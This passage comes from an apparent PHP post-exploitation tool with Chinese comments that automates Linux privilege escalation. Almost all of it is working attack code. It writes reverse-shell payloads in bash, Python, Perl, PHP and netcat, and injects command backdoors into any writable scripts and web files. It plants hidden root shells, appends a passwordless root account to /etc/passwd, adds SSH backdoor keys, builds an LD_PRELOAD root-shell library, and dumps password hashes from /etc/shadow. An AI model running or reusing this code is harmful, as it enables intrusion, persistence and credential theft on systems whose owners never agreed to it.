// 检查是否可以连接到外部
list($output, $code) = $this->executeCommand("ping -c 1 8.8.8.8 2>/dev/null");
if ($code === 0) {
$this->printSuccess("可以连接到外部网络");
} else {
$this->printWarning("可能无法直接连接到外部网络");
// 检查是否有代理设置
$proxyVars = ['http_proxy', 'https_proxy', 'HTTP_PROXY', 'HTTPS_PROXY'];
foreach ($proxyVars as $var) {
$proxy = getenv($var);
if (!empty($proxy)) {
$this->printInfo("发现代理设置: $var=$proxy");
}
}
}
// 检查端口开放情况
list($output, $code) = $this->executeCommand("cat /proc/net/tcp 2>/dev/null | wc -l");
if (is_array($output) && !empty($output)) {
$tcpConnections = intval(trim($output[0])) - 1; // 减去标题行
$this->printInfo("TCP连接数: $tcpConnections");
}
}
// 新增:检查防火墙规则
private function checkFirewallRules() {
$this->printInfo("检查防火墙规则...");
// 检查iptables
list($iptables, $code) = $this->executeCommand("which iptables 2>/dev/null");
if (is_array($iptables) && !empty($iptables)) {
$this->printInfo("发现iptables: " . $iptables[0]);
// 检查基本规则
list($rules, $code) = $this->executeCommand("iptables -L 2>/dev/null | head -5");
if (is_array($rules) && !empty($rules)) {
$this->printInfo("iptables规则 (前5行):");
foreach ($rules as $rule) {
echo " $rule\n";
}
}
}
// 检查firewalld
list($firewalld, $code) = $this->executeCommand("which firewall-cmd 2>/dev/null");
if (is_array($firewalld) && !empty($firewalld)) {
$this->printInfo("发现firewalld: " . $firewalld[0]);
}
}
// 新增:创建反弹shell载荷
private function createReverseShellPayloads() {
$this->printInfo("创建反弹shell载荷...");
// 获取本机IP
list($localIp, $code) = $this->executeCommand("hostname -I 2>/dev/null | awk '{print \$1}'");
if (empty($localIp) || $code !== 0) {
$localIp = "10.0.0.1";
} else {
$localIp = trim($localIp[0]);
}
$localPort = "4444";
// 1. 创建bash反弹shell脚本
$bashPayload = "#!/bin/bash\nbash -i >& /dev/tcp/$localIp/$localPort 0>&1 &";
if (file_put_contents('/tmp/reverse.sh', $bashPayload) !== false) {
chmod('/tmp/reverse.sh', 0755);
$this->printSuccess("Bash反弹shell脚本创建成功: /tmp/reverse.sh");
}
// 2. 创建Python反弹shell脚本
$pythonPayload = "#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('$localIp',$localPort))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])";
if (file_put_contents('/tmp/reverse.py', $pythonPayload) !== false) {
chmod('/tmp/reverse.py', 0755);
$this->printSuccess("Python反弹shell脚本创建成功: /tmp/reverse.py");
}
// 3. 创建Perl反弹shell脚本
$perlPayload = "#!/usr/bin/perl
use Socket;
\$i='$localIp';
\$p=$localPort;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){
open(STDIN,'>&S');
open(STDOUT,'>&S');
open(STDERR,'>&S');
exec('/bin/bash -i');
};";
if (file_put_contents('/tmp/reverse.pl', $perlPayload) !== false) {
chmod('/tmp/reverse.pl', 0755);
$this->printSuccess("Perl反弹shell脚本创建成功: /tmp/reverse.pl");
}
// 4. 创建PHP反弹shell脚本
$phpPayload = "<?php
\$sock=fsockopen('$localIp',$localPort);
exec('/bin/bash -i <&3 >&3 2>&3');
?>";
if (file_put_contents('/tmp/reverse.php', $phpPayload) !== false) {
$this->printSuccess("PHP反弹shell脚本创建成功: /tmp/reverse.php");
}
// 5. 创建Netcat反弹shell命令文件
$ncPayload = "nc $localIp $localPort -e /bin/bash";
if (file_put_contents('/tmp/nc_reverse.txt', $ncPayload) !== false) {
$this->printSuccess("Netcat反弹shell命令保存成功: /tmp/nc_reverse.txt");
}
$this->printInfo("请在本地监听端口: nc -lvnp $localPort");
}
// 新增:高级文件系统利用技术
private function checkAdvancedFileSystemExploitation() {
$this->printInfo("检查高级文件系统利用技术...");
// 检查符号链接攻击可能性
$this->checkSymlinkAttackPossibility();
// 检查硬链接攻击可能性
$this->checkHardlinkAttackPossibility();
// 检查inode重用攻击
$this->checkInodeReuseAttack();
}
// 新增:符号链接攻击检查
private function checkSymlinkAttackPossibility() {
$this->printInfo("检查符号链接攻击可能性...");
// 检查是否有特权进程可能受到符号链接攻击
list($processes, $code) = $this->executeCommand("ps aux | grep -E '(backup|cron|log)' | grep -v grep");
if (is_array($processes) && !empty($processes)) {
foreach ($processes as $process) {
$this->printWarning("可能受符号链接攻击影响的进程: $process");
}
}
// 检查临时目录的使用
$tempDirs = ['/tmp', '/var/tmp'];
foreach ($tempDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可写临时目录: $dir (可用于符号链接攻击)");
}
}
}
// 新增:硬链接攻击检查
private function checkHardlinkAttackPossibility() {
$this->printInfo("检查硬链接攻击可能性...");
// 检查可写的系统目录
$writableSystemDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($writableSystemDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可写系统目录: $dir (可用于硬链接攻击)");
}
}
}
// 新增:inode重用攻击检查
private function checkInodeReuseAttack() {
$this->printInfo("检查inode重用攻击可能性...");
// 检查是否有定期删除文件的进程
list($cronJobs, $code) = $this->executeCommand("crontab -l 2>/dev/null");
if (is_array($cronJobs) && !empty($cronJobs)) {
foreach ($cronJobs as $job) {
if (strpos($job, 'rm ') !== false || strpos($job, 'delete') !== false) {
$this->printWarning("可能受inode重用攻击影响的计划任务: $job");
}
}
}
}
// 新增:进程注入和劫持技术检查
private function checkProcessInjectionTechniques() {
$this->printInfo("检查进程注入和劫持技术...");
// 检查可附加的进程
list($attachable, $code) = $this->executeCommand("ps aux | grep -v '[[]' | grep -v 'grep'");
if (is_array($attachable) && !empty($attachable)) {
$this->printInfo("可附加调试的进程数量: " . (count($attachable) - 1));
}
// 检查ptrace权限
list($ptrace, $code) = $this->executeCommand("grep -i ptrace /proc/self/status 2>/dev/null");
if (is_array($ptrace) && !empty($ptrace)) {
$this->printInfo("ptrace状态: " . $ptrace[0]);
}
}
// 新增:使用base64创建root shell
private function tryBase64RootShell($base64Path) {
$this->printInfo("尝试使用base64创建root shell...");
// 创建一个具有root权限的shell脚本
$shellScript = "#!/bin/bash\n/bin/bash -p";
$encodedScript = base64_encode($shellScript);
// 使用base64解码并创建shell脚本
list($output, $code) = $this->executeCommand("echo $encodedScript | base64 --decode > /tmp/rootshell");
if ($code === 0) {
// 添加执行权限
list($output, $code) = $this->executeCommand("chmod +s /tmp/rootshell");
if ($code === 0) {
$this->printSuccess("成功创建root shell: /tmp/rootshell");
$this->printInfo("使用方法: /tmp/rootshell");
}
}
}
// 新增:尝试破解shadow文件中的密码哈希
private function tryShadowCracking($shadowContent) {
$this->printInfo("尝试分析shadow文件中的密码哈希...");
if (is_array($shadowContent)) {
foreach ($shadowContent as $line) {
if (strpos($line, ':$') !== false) {
$parts = explode(':', $line);
$username = $parts[0];
$hash = $parts[1];
if (!empty($hash) && strlen($hash) > 10) {
$this->printWarning("用户 $username 的密码哈希: $hash");
// 简单判断哈希类型
if (strpos($hash, '$6$') !== false) {
$this->printInfo(" 哈希类型: SHA-512");
} elseif (strpos($hash, '$5$') !== false) {
$this->printInfo(" 哈希类型: SHA-256");
} elseif (strpos($hash, '$1$') !== false) {
$this->printInfo(" 哈希类型: MD5");
}
}
}
}
}
}
private function tryFindExploit($findPath) {
$this->printInfo("尝试利用find执行命令...");
$commands = [
"$findPath . -exec whoami \\; -quit",
"$findPath . -exec id \\; -quit",
"$findPath . -exec /bin/sh -p \\; -quit"
];
foreach ($commands as $cmd) {
list($output, $code) = $this->executeCommand($cmd);
if (is_array($output) && !empty($output) && $output[0] != $this->currentUser) {
$this->printSuccess("find提权成功! 当前用户: " . $output[0]);
break;
}
}
}
// 新增:chsh利用方法
private function tryChshExploit($chshPath) {
$this->printInfo("尝试利用chsh...");
// 尝试将shell更改为bash
list($output, $code) = $this->executeCommand("echo '$chshPath -s /bin/bash' | $chshPath");
if ($code === 0) {
$this->printSuccess("chsh利用成功,shell已更改为bash");
}
}
// 新增:创建持久化后门
private function createPersistentBackdoor($suidFile) {
$this->printInfo("创建持久化后门...");
// 创建一个简单的root shell
$backdoorContent = "#!/bin/bash\n$suidFile";
if (file_put_contents('/tmp/suid_backdoor', $backdoorContent) !== false) {
chmod('/tmp/suid_backdoor', 0755);
$this->printSuccess("持久化后门已创建: /tmp/suid_backdoor");
}
}
private function tryExecuteFile($file) {
$this->printInfo("尝试执行文件: $file");
// 检查文件类型
list($output, $code) = $this->executeCommand("file $file");
if (is_array($output) && !empty($output)) {
$this->printInfo("文件类型: " . $output[0]);
}
// 尝试执行
list($output, $code) = $this->executeCommand("echo 'whoami' | $file 2>&1");
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
if (strpos($line, 'root') !== false) {
$this->printSuccess("文件执行成功,获得root权限!");
}
}
}
}
private function sudoExploitation() {
$this->printInfo("=== Sudo权限利用 ===");
// 检查sudo是否存在
list($sudoCheck, $code) = $this->executeCommand('which sudo 2>/dev/null');
if (empty($sudoCheck)) {
$this->printInfo("系统中未安装sudo工具");
} else {
list($output, $code) = $this->executeCommand('sudo -l 2>/dev/null');
if (empty($output)) {
$this->printInfo("无sudo权限或sudo不可用");
} else {
if (is_array($output)) {
foreach ($output as $line) {
if (strpos($line, 'NOPASSWD') !== false) {
$this->printDanger("发现无密码sudo: $line");
// 提取命令并尝试利用
if (preg_match('/(\/[^\s]+)/', $line, $matches)) {
$cmd = $matches[1];
$this->trySudoCommand($cmd);
}
} else {
$this->printWarning("Sudo权限: $line");
}
}
}
}
}
echo "\n";
}
private function trySudoCommand($cmd) {
$exploits = [
'apt' => 'apt update && apt install -y netcat-traditional',
'yum' => 'yum install -y nc',
'systemctl' => 'systemctl restart ssh',
'cp' => 'cp /bin/bash /tmp/rootshell && chmod 4755 /tmp/rootshell',
'find' => 'find / -name root 2>/dev/null',
'vim' => 'vim -c \':!bash\'',
'awk' => 'awk \'BEGIN {system(\"/bin/bash\")}\'',
'less' => 'less /etc/profile',
'more' => 'more /etc/profile',
'man' => 'man ls'
];
$basename = basename($cmd);
if (isset($exploits[$basename])) {
$this->printInfo("尝试利用 $cmd ...");
list($output, $code) = $this->executeCommand("sudo $cmd " . $exploits[$basename]);
if ($code === 0) {
$this->printSuccess("sudo命令执行成功");
}
}
}
private function envExploitation() {
$this->printInfo("=== 环境变量利用 ===");
// 检查PATH滥用
$path = getenv('PATH');
$dirs = explode(':', $path);
foreach ($dirs as $dir) {
if (!empty($dir) && is_writable($dir)) {
$this->printDanger("PATH目录可写: $dir");
// 尝试创建恶意文件
$malicious = "$dir/exploit";
if (file_put_contents($malicious, "#!/bin/bash\nwhoami > /tmp/exploit_success\n") !== false) {
chmod($malicious, 0755);
$this->printWarning("已创建测试文件: $malicious");
}
}
}
// 检查敏感环境变量
$sensitiveVars = ['LD_PRELOAD', 'PS1', 'PROMPT_COMMAND', 'BASH_ENV'];
foreach ($sensitiveVars as $var) {
$value = getenv($var);
if (!empty($value)) {
$this->printWarning("敏感环境变量: $var=$value");
}
}
// 检查可利用的环境变量
$this->checkExploitableEnvVars();
echo "\n";
}
private function writableExploitation() {
$this->printInfo("=== 可写文件利用 ===");
// 查找可写文件
list($files, $code) = $this->executeCommand('find / -type f -writable 2>/dev/null | grep -vE "proc|sys|dev|/tmp/" | head -30');
$exploitable = [
'.sh' => 'shell脚本',
'.bash' => 'bash脚本',
'.py' => 'Python文件',
'.pl' => 'Perl文件',
'.rb' => 'Ruby文件',
'.php' => 'PHP文件',
'.jsp' => 'JSP文件',
'.asp' => 'ASP文件',
'.aspx' => 'ASPX文件',
'cron' => '计划任务',
'crontab' => '计划任务',
'service' => '服务文件',
'conf' => '配置文件',
'config' => '配置文件',
'ini' => 'INI配置文件',
'yaml' => 'YAML配置文件',
'yml' => 'YAML配置文件',
'json' => 'JSON配置文件',
'xml' => 'XML配置文件'
];
$exploitCount = 0;
if (is_array($files)) {
foreach ($files as $file) {
foreach ($exploitable as $ext => $desc) {
if (strpos($file, $ext) !== false) {
$this->printWarning("可写$desc: $file");
$exploitCount++;
// 尝试写入后门
if (in_array($ext, ['.php', '.jsp', '.asp', '.aspx'])) {
$this->injectWebBackdoor($file);
} elseif (in_array($ext, ['.sh', '.bash'])) {
$this->injectShellBackdoor($file);
} elseif (in_array($ext, ['.py'])) {
$this->injectPythonBackdoor($file);
} elseif (in_array($ext, ['.pl'])) {
$this->injectPerlBackdoor($file);
} elseif (in_array($ext, ['.rb'])) {
$this->injectRubyBackdoor($file);
}
break;
}
}
}
}
// 检查常见可写目录
$writableDirs = [
'/tmp',
'/var/tmp',
'/dev/shm',
'/var/www',
'/var/www/html',
'/usr/local/bin',
'/usr/bin'
];
foreach ($writableDirs as $dir) {
if (is_writable($dir)) {
$this->printWarning("可写目录: $dir");
// 在可写目录中创建后门
$this->createBackdoorInDir($dir);
}
}
// 检查/etc/passwd是否可写
if (is_writable('/etc/passwd')) {
$this->printDanger("/etc/passwd 文件可写!");
$this->tryPasswdExploit();
}
// 检查SSH目录是否可写
$sshDir = '/home/' . $this->currentUser . '/.ssh';
if (is_dir($sshDir) && is_writable($sshDir)) {
$this->printDanger("SSH目录可写: $sshDir");
$this->trySshKeyExploit($sshDir);
}
// 检查authorized_keys文件是否可写
$authKeys = $sshDir . '/authorized_keys';
if (file_exists($authKeys) && is_writable($authKeys)) {
$this->printDanger("authorized_keys文件可写: $authKeys");
}
// 检查Web目录可写性
$this->checkWebDirectoryWritable();
// 检查反弹shell载荷目录
$this->checkReverseShellDirectories();
if ($exploitCount == 0) {
$this->printInfo("未发现明显的可写利用文件");
}
echo "\n";
}
// 新增:检查反弹shell载荷目录
private function checkReverseShellDirectories() {
$this->printInfo("检查反弹shell载荷目录...");
$payloadDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($payloadDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可以在" . $dir . "目录创建反弹shell载荷");
}
}
}
// 新增:检查Web目录可写性
private function checkWebDirectoryWritable() {
$this->printInfo("检查Web目录可写性...");
$webDirs = ['/var/www', '/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printDanger("Web目录可写: $dir");
// 创建Web后门
$this->createWebBackdoor($dir);
}
}
}
// 新增:注入Web后门
private function injectWebBackdoor($file) {
$backdoor = "<?php if(isset(\$_REQUEST['cmd'])){ system(\$_REQUEST['cmd']); } ?>";
// 避免重复注入
$content = file_get_contents($file);
if (strpos($content, "system(\$_REQUEST['cmd']") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Web后门注入成功: $file");
}
}
}
// 新增:注入Python后门
private function injectPythonBackdoor($file) {
$backdoor = "
import os
import sys
def backdoor():
if 'cmd' in os.environ:
os.system(os.environ['cmd'])
elif len(sys.argv) > 1:
os.system(' '.join(sys.argv[1:]))
if __name__ == '__main__':
backdoor()
";
$content = file_get_contents($file);
if (strpos($content, "def backdoor()") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Python后门注入成功: $file");
}
}
}
// 新增:注入Perl后门
private function injectPerlBackdoor($file) {
$backdoor = "
if (exists \$ENV{'CMD'}) {
system(\$ENV{'CMD'});
} elsif (\$ARGV[0]) {
system(\@ARGV);
}
";
$content = file_get_contents($file);
if (strpos($content, "system(\$ENV{'CMD'})") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Perl后门注入成功: $file");
}
}
}
// 新增:注入Ruby后门
private function injectRubyBackdoor($file) {
$backdoor = "
if ENV['CMD']
system(ENV['CMD'])
elsif ARGV.length > 0
system(ARGV.join(' '))
end
";
$content = file_get_contents($file);
if (strpos($content, "system(ENV['CMD'])") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Ruby后门注入成功: $file");
}
}
}
// 新增:在可写目录中创建后门
private function createBackdoorInDir($dir) {
// 创建shell脚本后门
$shellBackdoor = "#!/bin/bash\n/bin/bash -p";
$shellPath = "$dir/.system";
if (file_put_contents($shellPath, $shellBackdoor) !== false) {
chmod($shellPath, 0755);
$this->printSuccess("Shell后门创建成功: $shellPath");
}
// 创建Python后门
$pythonBackdoor = "#!/usr/bin/env python\nimport os\nos.system('/bin/bash -p')";
$pythonPath = "$dir/.system.py";
if (file_put_contents($pythonPath, $pythonBackdoor) !== false) {
chmod($pythonPath, 0755);
$this->printSuccess("Python后门创建成功: $pythonPath");
}
}
// 新增:SSH密钥利用
private function trySshKeyExploit($sshDir) {
// 生成SSH密钥对
list($output, $code) = $this->executeCommand("ssh-keygen -f $sshDir/backdoor -N '' 2>/dev/null");
if ($code === 0) {
// 将公钥添加到authorized_keys
list($pubKey, $code) = $this->executeCommand("cat $sshDir/backdoor.pub 2>/dev/null");
if (is_array($pubKey) && !empty($pubKey)) {
file_put_contents("$sshDir/authorized_keys", "\n" . $pubKey[0], FILE_APPEND | LOCK_EX);
$this->printSuccess("SSH后门密钥创建成功");
$this->printInfo("私钥位置: $sshDir/backdoor");
$this->printInfo("使用方法: ssh -i $sshDir/backdoor " . $this->currentUser . "@localhost");
}
}
}
private function injectShellBackdoor($file) {
$backdoor = "#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &\n";
$content = file_get_contents($file);
if (strpos($content, "/dev/tcp/") === false) {
if (file_put_contents($file, $backdoor . $content, LOCK_EX) !== false) {
$this->printSuccess("Shell后门注入成功: $file");
chmod($file, 0755);
}
}
}
private function tryPasswdExploit() {
$this->printInfo("尝试/etc/passwd提权...");
$rootPasswd = "root2::0:0:root:/root:/bin/bash\n";
if (file_put_contents('/etc/passwd', $rootPasswd, FILE_APPEND | LOCK_EX) !== false) {
$this->printSuccess("已添加root用户到/etc/passwd");
$this->printInfo("尝试切换用户: su root2");
list($output, $code) = $this->executeCommand('su root2 -c "whoami"');
if (is_array($output) && !empty($output) && $output[0] == 'root2') {
$this->printSuccess("提权成功! 当前用户: root2");
}
}
}
private function processExploitation() {
$this->printInfo("=== 进程与服务利用 ===");
// 检查运行的服务
list($output, $code) = $this->executeCommand('ps aux | head -20');
$this->printInfo("运行进程示例:");
if (is_array($output)) {
$linesToShow = array_slice($output, 0, 5);
foreach ($linesToShow as $line) {
echo " $line\n";
}
}
// 检查网络服务
list($netstat, $code) = $this->executeCommand('netstat -tuln 2>/dev/null | head -10');
if (empty($netstat)) {
list($netstat, $code) = $this->executeCommand('ss -tuln 2>/dev/null | head -10');
}
if (is_array($netstat) && !empty($netstat)) {
$this->printInfo("网络服务:");
foreach ($netstat as $line) {
echo " $line\n";
}
}
echo "\n";
}
private function cronExploitation() {
$this->printInfo("=== 计划任务利用 ===");
// 检查系统计划任务
$cronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily', '/etc/cron.weekly', '/etc/cron.monthly'];
foreach ($cronDirs as $dir) {
if (is_dir($dir) && is_readable($dir)) {
list($files, $code) = $this->executeCommand("ls -la $dir 2>/dev/null");
if (is_array($files) && !empty($files)) {
$this->printInfo("$dir 内容:");
$filesToShow = array_slice($files, 0, 5);
foreach ($filesToShow as $file) {
echo " $file\n";
}
// 检查是否可写
if (is_writable($dir)) {
$this->printDanger("计划任务目录可写: $dir");
$this->createCronBackdoor($dir);
}
}
}
}
// 检查用户计划任务
list($output, $code) = $this->executeCommand('crontab -l 2>/dev/null');
if (is_array($output) && !empty($output)) {
$this->printWarning("用户cron任务:");
foreach ($output as $line) {
echo " $line\n";
}
}
// 检查可利用的定时任务服务
$this->checkExploitableCronServices();
echo "\n";
}
// 新增:创建LD_PRELOAD恶意库的函数
private function createMaliciousLibrary() {
$this->printInfo("创建LD_PRELOAD恶意库...");
// 创建C源代码
$cCode = '
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}';
// 写入源代码文件
if (file_put_contents('/tmp/malicious.c', $cCode) !== false) {
// 编译为共享库
list($output, $code) = $this->executeCommand('gcc -fPIC -shared -o /tmp/malicious.so /tmp/malicious.c -nostartfiles 2>/dev/null');
if ($code === 0) {
$this->printSuccess("恶意共享库创建成功: /tmp/malicious.so");
$this->printInfo("使用方法: LD_PRELOAD=/tmp/malicious.so 某个SUID程序");
}
}
}
// 新增:检查/tmp目录中的shell文件
private function checkTmpShellFiles() {
$this->printInfo("检查/tmp目录中的shell文件...");
// 用户提到的特定文件
$shellFiles = ['/tmp/bash', '/tmp/sh'];
foreach ($shellFiles as $file) {
if ($this->checkFileExists($file)) {
$this->printDanger("发现用户提到的文件: $file");
// 获取文件详细信息
list($fileInfo, $code) = $this->executeCommand('ls -l "' . $file . '" 2>/dev/null');
if (is_array($fileInfo) && !empty($fileInfo)) {
$this->printInfo("文件权限: " . $fileInfo[0]);
}
// 检查文件类型
list($fileType, $code) = $this->executeCommand('file "' . $file . '" 2>/dev/null');
if (is_array($fileType) && !empty($fileType)) {
$this->printInfo("文件类型: " . $fileType[0]);
}
// 检查文件内容
list($fileContent, $code) = $this->executeCommand('head -10 "' . $file . '" 2>/dev/null');
if (is_array($fileContent) && !empty($fileContent)) {
$this->printInfo("文件内容(前10行): ");
foreach ($fileContent as $line) {
$this->printInfo(" " . $line);
}
}
// 特别处理用户提到的问题:运行时没有输出
$this->tryExecuteSilentFile($file);
}
}
}
// 新增:尝试执行没有输出的文件
private function tryExecuteSilentFile($file) {
$this->printInfo("尝试执行文件 $file (解决无输出问题)...");
// 方法1: 使用strace跟踪系统调用
list($straceCheck, $code) = $this->executeCommand('which strace 2>/dev/null');
if (is_array($straceCheck) && !empty($straceCheck)) {
$this->printInfo("使用strace跟踪系统调用...");
list($output, $code) = $this->executeCommand('strace -f "' . $file . '" 2>&1 | head -20');
if (is_array($output) && !empty($output)) {
$this->printInfo("strace输出:");
foreach ($output as $line) {
$this->printInfo(" " . $line);
}
}
}
// 方法2: 使用重定向捕获所有输出
list($output, $code) = $this->executeCommand('"' . $file . '" > /tmp/exec_output.txt 2>&1; cat /tmp/exec_output.txt');
if (is_array($output) && !empty($output)) {
$this->printInfo("执行输出:");
foreach ($output as $line) {
$this->printInfo(" " . $line);
}
} else {
$this->printWarning("文件执行后无输出");
}
// 方法3: 检查文件是否被定时清理
$this->checkFileCleanup($file);
}
// 新增:检查文件是否被定时清理
private function checkFileCleanup($file) {
$this->printInfo("检查文件 $file 是否被定时清理...");
// 检查是否有定时任务清理/tmp目录
list($cronJobs, $code) = $this->executeCommand('crontab -l 2>/dev/null | grep -i tmp');
if (is_array($cronJobs) && !empty($cronJobs)) {
$this->printWarning("发现清理/tmp目录的定时任务:");
foreach ($cronJobs as $job) {
$this->printInfo(" " . $job);
}
}
// 检查系统级清理任务
list($systemCleanup, $code) = $this->executeCommand('find /etc/cron.* -name "*tmp*" -o -name "*clean*" 2>/dev/null');
if (is_array($systemCleanup) && !empty($systemCleanup)) {
$this->printWarning("发现系统级清理任务:");
foreach ($systemCleanup as $cleanup) {
$this->printInfo(" " . $cleanup);
}
}
// 检查是否有tmpwatch或tmpreaper等工具
$cleanupTools = ['tmpwatch', 'tmpreaper', 'clean-tmp'];
foreach ($cleanupTools as $tool) {
list($check, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($check) && !empty($check)) {
$this->printWarning("发现临时文件清理工具: $tool");
}
}
}
// 新增:高级/tmp目录文件分析
private function advancedTmpFileAnalysis() {
$this->printInfo("高级/tmp目录文件分析...");
// 1. 检查/tmp目录中的可执行文件
list($executables, $code) = $this->executeCommand('find /tmp -type f -executable 2>/dev/null | head -10');
if (is_array($executables) && !empty($executables)) {
$this->printWarning("在/tmp目录中发现可执行文件:");
foreach ($executables as $file) {
$this->printInfo(" " . $file);
// 获取文件信息
list($fileInfo, $code) = $this->executeCommand('ls -l "' . $file . '" 2>/dev/null');
if (is_array($fileInfo) && !empty($fileInfo)) {
$this->printInfo(" 权限: " . $fileInfo[0]);
}
// 检查文件是否最近被修改
list($fileTime, $code) = $this->executeCommand('stat -c %Y "' . $file . '" 2>/dev/null');
if (is_array($fileTime) && !empty($fileTime)) {
$timestamp = (int)$fileTime[0];
$currentTime = time();
if (($currentTime - $timestamp) < 3600) { // 1小时内
$this->printDanger(" 文件最近被修改(1小时内): " . date('Y-m-d H:i:s', $timestamp));
}
}
}
}
// 2. 检查/tmp目录中的隐藏文件
list($hiddenFiles, $code) = $this->executeCommand('find /tmp -name ".*" -type f 2>/dev/null | head -10');
if (is_array($hiddenFiles) && !empty($hiddenFiles)) {
$this->printWarning("在/tmp目录中发现隐藏文件:");
foreach ($hiddenFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 3. 检查/tmp目录中的符号链接
list($symlinks, $code) = $this->executeCommand('find /tmp -type l 2>/dev/null | head -10');
if (is_array($symlinks) && !empty($symlinks)) {
$this->printWarning("在/tmp目录中发现符号链接:");
foreach ($symlinks as $link) {
// 获取符号链接指向的目标
list($target, $code) = $this->executeCommand('readlink "' . $link . '" 2>/dev/null');
if (is_array($target) && !empty($target)) {
$this->printInfo(" " . $link . " -> " . $target[0]);
// 检查是否指向敏感文件
$sensitiveTargets = ['/etc/passwd', '/etc/shadow', '/root/', '/home/'];
foreach ($sensitiveTargets as $sensitive) {
if (strpos($target[0], $sensitive) !== false) {
$this->printDanger(" 符号链接指向敏感目标: " . $target[0]);
}
}
}
}
}
// 4. 检查/tmp目录中的最近文件
list($recentFiles, $code) = $this->executeCommand('find /tmp -type f -mtime -1 2>/dev/null | head -10');
if (is_array($recentFiles) && !empty($recentFiles)) {
$this->printInfo("最近(24小时内)在/tmp目录中创建的文件:");
foreach ($recentFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 5. 检查/tmp目录中的可疑内容
$this->checkTmpSuspiciousContent();
}
// 新增:检查/tmp目录中的可疑内容
private function checkTmpSuspiciousContent() {
$this->printInfo("检查/tmp目录中的可疑内容...");
// 搜索包含敏感关键词的文件
$keywords = ['password', 'secret', 'key', 'token', 'credential', 'root'];
foreach ($keywords as $keyword) {
list($files, $code) = $this->executeCommand('grep -rl "' . $keyword . '" /tmp 2>/dev/null | head -5');
if (is_array($files) && !empty($files)) {
$this->printDanger("发现包含关键词 '$keyword' 的文件:");
foreach ($files as $file) {
$this->printInfo(" " . $file);
// 显示匹配的行
list($content, $code) = $this->executeCommand('grep -n "' . $keyword . '" "' . $file . '" 2>/dev/null | head -3');
if (is_array($content) && !empty($content)) {
foreach ($content as $line) {
$this->printInfo(" " . $line);
}
}
}
}
}
// 检查可能的反弹shell代码
list($shellFiles, $code) = $this->executeCommand('grep -rl "bash.*>&.*0>&1" /tmp 2>/dev/null | head -3');
if (is_array($shellFiles) && !empty($shellFiles)) {
$this->printDanger("发现可能的反弹shell代码:");
foreach ($shellFiles as $file) {
$this->printInfo(" " . $file);
}
}
// 检查可能的base64编码内容
list($base64Files, $code) = $this->executeCommand('grep -rl "[^a-zA-Z0-9+/]\{20,\}" /tmp 2>/dev/null | head -3');
if (is_array($base64Files) && !empty($base64Files)) {
$this->printWarning("发现可能的base64编码内容:");
foreach ($base64Files as $file) {
$this->printInfo(" " . $file);
}
}
}
// 在checkLdPreloadExploitation方法中添加创建恶意库的功能
private function checkLdPreloadExploitation() {
$this->printInfo("检查LD_PRELOAD利用可能性...");
// 检查LD_PRELOAD环境变量
$ldPreload = getenv('LD_PRELOAD');
if (!empty($ldPreload)) {
$this->printDanger("LD_PRELOAD环境变量设置: $ldPreload");
}
// 检查/etc/ld.so.preload文件
if (file_exists('/etc/ld.so.preload')) {
if (is_writable('/etc/ld.so.preload')) {
$this->printDanger("/etc/ld.so.preload文件可写");
}
// 读取文件内容
list($content, $code) = $this->executeCommand('cat /etc/ld.so.preload 2>/dev/null');
if (is_array($content) && !empty($content)) {
$this->printWarning("/etc/ld.so.preload内容:");
foreach ($content as $line) {
$this->printInfo(" $line");
}
}
}
// 检查是否有编译器可用于创建恶意共享库
list($gcc, $code) = $this->executeCommand('which gcc 2>/dev/null');
if (is_array($gcc) && !empty($gcc)) {
$this->printInfo("可以创建恶意共享库用于LD_PRELOAD利用");
// 创建恶意库
$this->createMaliciousLibrary();
}
}
// 新增:检查可利用的环境变量
private function checkExploitableEnvVars() {
$this->printInfo("检查可利用的环境变量...");
// 常见可利用的环境变量
$exploitableVars = [
'PATH' => '可能导致命令劫持',
'LD_PRELOAD' => '可加载恶意共享库',
'LD_LIBRARY_PATH' => '可加载恶意库文件',
'PYTHONPATH' => '可劫持Python库',
'PERLLIB' => '可劫持Perl库',
'PERL5LIB' => '可劫持Perl库',
'BASH_ENV' => '可在非交互式shell中执行代码',
'PS1' => '可能包含恶意代码',
'PROMPT_COMMAND' => '每次命令执行前运行'
];
foreach ($exploitableVars as $var => $desc) {
$value = getenv($var);
if (!empty($value)) {
$this->printWarning("环境变量 $var: $value ($desc)");
}
}
}
// 新增:检查可利用的定时任务服务
private function checkExploitableCronServices() {
$this->printInfo("检查可利用的定时任务服务...");
// 检查at命令
list($at, $code) = $this->executeCommand('which at 2>/dev/null');
if (is_array($at) && !empty($at)) {
$this->printWarning("发现at命令: 可用于计划任务执行");
}
// 检查anacron
list($anacron, $code) = $this->executeCommand('which anacron 2>/dev/null');
if (is_array($anacron) && !empty($anacron)) {
$this->printInfo("发现anacron: " . $anacron[0]);
}
// 检查systemd定时器
list($timers, $code) = $this->executeCommand('systemctl list-timers 2>/dev/null | head -10');
